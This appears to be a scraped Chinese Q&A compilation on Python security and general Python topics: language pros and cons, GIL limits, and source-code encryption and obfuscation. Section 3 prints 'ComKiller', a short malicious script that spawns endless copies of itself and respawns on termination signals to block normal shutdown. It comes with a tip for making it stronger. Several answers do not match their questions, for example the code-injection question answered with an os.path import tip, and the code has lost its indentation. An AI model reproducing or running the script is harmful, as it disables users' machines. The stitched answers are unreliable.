python代碼安全

1. python安全要學什麼庫

一、Python開發基礎

Python全棧開發與人工智慧之Python開發基礎知識學習內容包括：

Python基礎語法、數據類型、字元編碼、文件操作、函數、裝飾器、迭代器、內置方法、常用模塊等。

二、Python高級編程和資料庫開發

Python全棧開發與人工智慧之Python高級編程和資料庫開發知識學習內容包括：

面向對象開發、Socket網路編程、線程、進程、隊列、IO多路模型、Mysql資料庫開發等。

語言特點

速度快：Python的底層是用C語言寫的，很多標准庫和第三方庫也都是用C寫的，運行速度非常快。

免費、開源：Python是FLOSS（自由／開放源碼軟體）之一。使用者可以自由地發布這個軟體的拷貝、閱讀它的源代碼、對它做改動、把它的一部分用於新的自由軟體中。FLOSS是基於一個團體分享知識的概念。

高層語言：用Python語言編寫程序的時候無需考慮諸如如何管理你的程序使用的內存一類的底層細節。

2. python代碼問題。

1. 如果在是Python解釋器里運行的話，沒有問題。「X,L」就是列印出X,L的值。問題應該在最後一行的X,L，如果在寫成一個腳本由Python執行的話，就不能這么寫了。要用"print X,L"明確告訴Python輸出X,L的值。

2. Python(英語發音:/ˈpaɪθən/), 是一種面向對象、解釋型計算機程序設計語言，由Guido van Rossum於1989年底發明，第一個公開發行版發行於1991年，Python 源代碼同樣遵循 GPL(GNU General Public License)協議。Python語法簡潔而清晰，具有豐富和強大的類庫。它常被昵稱為膠水語言，能夠把用其他語言製作的各種模塊(尤其是C/C++)很輕松地聯結在一起。常見的一種應用情形是，使用Python快速生成程序的原型(有時甚至是程序的最終界面)，然後對其中有特別要求的部分，用更合適的語言改寫，比如3D游戲中的圖形渲染模塊，性能要求特別高，就可以用C/C++重寫，而後封裝為Python可以調用的擴展類庫。需要注意的是在您使用擴展類庫時可能需要考慮平台問題，某些可能不提供跨平台的實現。

3. 折疊在Python中學習機器學習的四個步驟：

1、首先你要使用書籍、課程、視頻來學習 Python 的基礎知識[2]

2、然後你必需掌握不同的模塊，比如 Pandas、Numpy、Matplotlib、NLP (自然語言處理)，來處理、清理、繪圖和理解數據。

3、接著你必需能夠從網頁抓取數據，無論是通過網站API，還是網頁抓取模塊Beautiful Soap。通過網頁抓取可以收集數據，應用於機器學習演算法。

4、最後一步，你必需學習機器學習工具，比如 Scikit-Learn，或者在抓取的數據中執行機器學習演算法(ML-algorithm)。

3. python能寫病毒或者木馬什麼的嗎

# 這是一個小病毒，名叫ComKiller(計算機殺手)
# 效果：運行約10秒後無法正常關機
# 註：把那兩行 time.sleep(0.1) 去掉效果更好哦:)
import os
import signal
import ctypes
import time
import threading
from pathlib import Path

def help_sos():
cmdr = os.system("start python %s" % FileName)

def Error():
while True:
try:
help_sos()
except BaseException:
help_sos()
time.sleep(0.1)

signal.signal(signal.SIGTERM, help_sos)
FileName = Path(__file__).name
while True:
time.sleep(1)
T = threading.Thread(target = Error, args = ())
T.start()
#僅用於娛樂，干什麼非法的事情和我無關！

4. Python有什麼缺點呢

1. - 運行速度慢，因為Python是解釋型語言，是一種高級語言，代碼會在執行的時候，一行一行的使用解釋器翻譯成底層代碼，翻譯成機器碼，而這個過程非常耗時，所以他運行過程中，比很多語言的代碼都慢了很多。
- 線程不能利用多CPU，這是Python最大的確定，GIL即全局解釋器鎖（Global Interpreter Lock），是計算機程序設計語言解釋器用於同步線程的工具，使得任何時刻僅有一個線程在執行，Python的線程是操作系統的原生線程。在linux上為pthread，在Windows上為Win thread，完全由操作系統調度線程的執行。一個python解釋器進程內有一條主線程，以及多條用戶程序的執行線程。即使在多核CPU平台上，由於GIL的存在，所以禁止多線程的並行執行。
Python的優缺點可以看看傳智播客的社區，裡面很多技術老師寫的相關文章。並且有學習線路圖適合小白學習，每個板塊下面都有配套視頻。

5. 動態Python代碼注入怎麼做才能預防安全性

比如說, 文件處理時, 經常習慣取個變數path, 但又經常from os import path
可以這么用:
import os.path
# import os.path後, 使用時, 需要完整輸入os.path
# 相對於import os總模塊而言, import os.path能避免無用的引入
path = os.path.join("/tmp", filename)

6. python寫的程序能加密嗎

使用pyinstaller太麻煩，可以使用pymod.

先睹為快，看看一個項目發布的時候，只有幾個文件，

main.py 項目程序入口

setting.py 項目配置

apps 項目模塊

plusins 項目插件目錄

pymod 使用指南，訪問https://pymod.cn

7. 怎樣對 Python 源碼加密

代碼加密
大概整理了以下幾種方法：
編譯成pyc文件
使用py2exe將python代碼轉成window下執行的exe文件
關鍵代碼部分使用c或者c++寫，然後在python中調用
用C寫一個license，進行license驗證
作為一門解釋型的語言，加密的難度超級大。下面來簡單分析上面的解決方案：
編譯成pyc文件幾乎跟pyc沒有區別，保護力度太低
要是在linux機器上就沒法使用，而且這種exe文件也可以被破解的
核心代碼部分是計算密集型，用的是pandas，numpy等庫，用c重寫，簡直不可能，工作量太大。
沒搞過，不知道………
看來上面的解決方案都是不行的，在stackoverflow上對這個問題也進行了詳細的討論，用我蹩腳的英文來翻譯（意譯）一下得票率最高的:
「有什麼方法來解決這個問題嗎？（加密的問題）」沒有。任何保護都可以被逆向工程破解。就連DVD機的固件都可以被破解，盡管法律判定其為非法，但是AACS加密密鑰還是泄露出來。
因為沒有技術的方法可以阻止你的客戶看你的代碼，你必須用傳統的商業方法。
1. 許可證，合約，條款，條件。只要用戶簽訂了這些東西，及時用戶可以看見代碼，也會有法律約束（不過此建議在中國目前貌似不頂用）
2. 提供巨大的價值。如果你的東西非常好，而且價格很合理，那麼用戶很難拒絕——沒必要浪費時間和金錢去搞逆向工程啥的，因為逆向工程是很費銀子的。讓你的產品有足夠的性價比。
3. 經常性的升級和增加新的功能，使得逆向工程不那麼好使。當下一個版本破壞了逆向工程，那麼以前的破解就沒有意義了。
4. 定製化生產，為不同的客戶提供不同的產品。（貌似代價有點高啊）
5. 使用有時間限制的許可證，這會給你帶來不好的名聲，但是會保證你的軟體會停止工作
6. 設計為web service.
代碼混淆
既然加密不是一個好方法，那要還是不死心，那就做一個簡單的混淆算了，雖然只能」防君子，不防小人「。但是不能就這樣把代碼暴露出來。
這里推薦一個找了好久的東西： pyobfuscate這個東西在window7中的cmd中貌似總是混淆失敗，無奈用了MINGW32，居然搞定了。官方的資料有這樣的介紹：
pyobfuscate有幾種轉化代碼的方式，有些可逆，有些不可逆。
移除注釋和文檔 ( 不可逆）
改變縮進（可逆）
在tokens之間加入空格（一定程度上可逆）
重命名函數，類，和變數（不可逆）
在空白行中加入無效的代碼
我沒有選擇混淆函數名和類名，因為其他地方還要調用呢。下面是我混淆的結果，還挺好看的：
def my_fuction_to_test ( self , start_date , end_date ) :
iiiii11iII1 = self . get_something ( start_date , end_date )
O0o = [ ]
for oO0 in iiiii11iII1 :
if oO0 [ "isOpen" ] == 1 :
IIIi1i1I = { }
OOoOoo00oo = dt . strptime ( oO0 [ 'calendarDate' ] , '%Y-%m-%d' )
IIIi1i1I [ 'day' ] = OOoOoo00oo . strftime ( '%Y%m%d' )
IIIi1i1I [ 'week' ] = oO0 [ 'isWeekEnd' ]
IIIi1i1I [ 'month' ] = oO0 [ 'isMonthEnd' ]
IIIi1i1I [ 'weekday' ] = OOoOoo00oo . weekday ( )
O0o . append ( IIIi1i1I )
iiI11 = pd . DataFrame ( O0o )
return iiI11

8. PHP、python的源碼如何保護

不管怎麼加密，遇到你說的員工泄露或伺服器入侵，都是沒用的，只不過花點時間破解而已。只要前端用戶無法直接獲得後台代碼，通常就認為是安全的，至於員工泄露或被入侵的問題，需要通過其他途徑去解決，而不是著眼於源代碼的加密，因為這種腳本語言不管怎麼折騰，最終都要以明碼的形式被解析執行的，所以很容就能破解

9. python有哪些特點和優點

顯著的優點

Python 語言擁有諸多的優點，這其中，以下幾個優點特別顯著：

簡單易學：Python語言相對於其他編程語言來說，屬於比較容易學習的一門編程語言，它注重的是如何解決問題而不是編程語言的語法和結構。正是因為Python語言簡單易學，所以，已經有越來越多的初學者選擇Python語言作為編程的入門語言。例如，在浙江省 2017年高中信息技術改革中，《演算法與程序設計》課程將使用 Python語言替換原有的VB 語言。

語法優美：Python語言力求代碼簡潔、優美。在Python語言中，採用縮進來標識代碼塊，通過減少無用的大括弧，去除語句末尾的分號等視覺雜訊，使得代碼的可讀性顯著提高。閱讀一段良好的Python程序就感覺像是在讀英語一樣，它使你能夠專注於解決問題，而不用太糾結編程語言本身的語法。

豐富強大的庫：Python語言號稱自帶電池(Battery Included)，寓意是Python語言的類庫非常的全面，包含了解決各種問題的類庫。無論實現什麼功能，都有現成的類庫可以使用。如果一個功能比較特殊，標准庫沒有提供相應的支持，那麼，很大概率也會有相應的開源項目提供了類似的功能。合理使用Python的類庫和開源項目，能夠快速的實現功能，滿足業務需求。

開發效率高：Python的各個優點是相輔相成的。例如，Python語言因為有了豐富強大的類庫，所以，Python的開發效率能夠顯著提高。相對於 C、C++ 和 Java等編譯語言，Python開發者的效率提高了數倍。實現相同的功能，Python代碼的文件往往只有 C、C++和Java代碼的1/5~1/3。雖然Python語言擁有很多吸引人的特性，但是，各大互聯網公司廣泛使用Python語言，很大程度上是因為Python語言開發效率高這個特點。開發效率高的語言，能夠更好的滿足互聯網快速迭代的需求，因此，Python語言在互聯網公司使用非常廣泛。

應用領域廣泛：Python語言的另一大優點就是應用領域廣泛，工程師可以使用Python 做很多的事情。例如，Web開發、網路編程、自動化運維、Linux系統管理、數據分析、科學計算、人工智慧、機器學習等等。Python語言介於腳本語言和系統語言之間，我們根據需要，既可以將它當做一門腳本語言來編寫腳本，也可以將它當做一個系統語言來編寫服務。

不可忽視的缺點

毫無疑問，Python確實有用很多的優點，每一個優點看起來都非常吸引人。但是，Python並不是沒有缺點的，最主要的缺點有以下幾個：

Python的執行速度不夠快。當然，這也不是一個很嚴重的問題，一般情況下，我們不會拿Python語言與C/C++這樣的語言進行直接比較。在Python語言的執行速度上，一方面，網路或磁碟的延遲，會抵消掉部分Python本身消耗的時間；另一方面，因為Python 特別容易和C結合起來，因此，我們可以通過分離一部分需要優化速度的應用，將其轉換為編譯好的擴展，並在整個系統中使用Python腳本將這部分應用連接起來，以提高程序的整體效率。

Python的GIL鎖限制並發：Python的另一個大問題是，對多處理器支持不好。如果讀者接觸Python時間比較長，那麼，一定聽說過GIL這個詞。GIL是指Python全局解釋器鎖（Global Interpreter Lock），當Python的默認解釋器要執行位元組碼時，都需要先申請這個鎖。這意味著，如果試圖通過多線程擴展應用程序，將總是被這個全局解釋器鎖限制。當然，我們可以使用多進程的架構來提高程序的並發，也可以選擇不同的Python實現來運行我們的程序。

Python 2與Python 3不兼容： 如果一個普通的軟體或者庫，不能夠做到後向兼容，那麼，它會被用戶無情的拋棄了。在Python中，一個槽點是Python 2與Python 3不兼容。因為Python沒有向後兼容，給所有的Python工程師帶來了無數的煩惱。

上述就是總結的Python語言的優缺點。總體來說，Python目前的發展還是非常不錯的。借著人工智慧時代的東風，Python開發人員的未來一定會很光明。

10. 「Python」有什麼缺點

python的整個系統，我其實有非常多的不滿。但是用任何一門語言都是取捨問題，如果有一門語言，庫夠多，已讀，易用，性能高，我毫不猶豫立刻轉過去。python的強處在於龐大的庫，還有非常好的易讀和易用性。但是相比來說，性能一直是個問題。python的實現性能大約和C相差五倍上下。如果是大規模計算問題，大約能差10倍以上。當然，我們可以寫C擴展，但是這就不是使用python了。我們也可以說，很多時候我們不需要這么快的速度。這是個事實，但是不改變python性能差的事實。 python不但性能差，還有GIL這個玩意。以至於我現在對高並發計算都採取多進程的模式。多進程模式的通訊效率肯定比多線程低，而且麻煩。
另外，python在底層設計上，也表現出很強的實用主義傾向。這是比較外交術語的詞彙，更加直白的說法應當是，混亂，不知所謂。在閉包設計上採用free variable設計，而不是lisp中的environs設計。區別？你試試看在外層閉包中from lib import *。由於引入不定個數名稱，free variable無法處理。類似的問題還有LEGB規則，新手往往要花很長時間研究這個例子究竟是怎麼錯的： a = 1 def f(): print a a = 2 我勒個去，這種反直觀反人類的事情都有，還敢說自己易讀。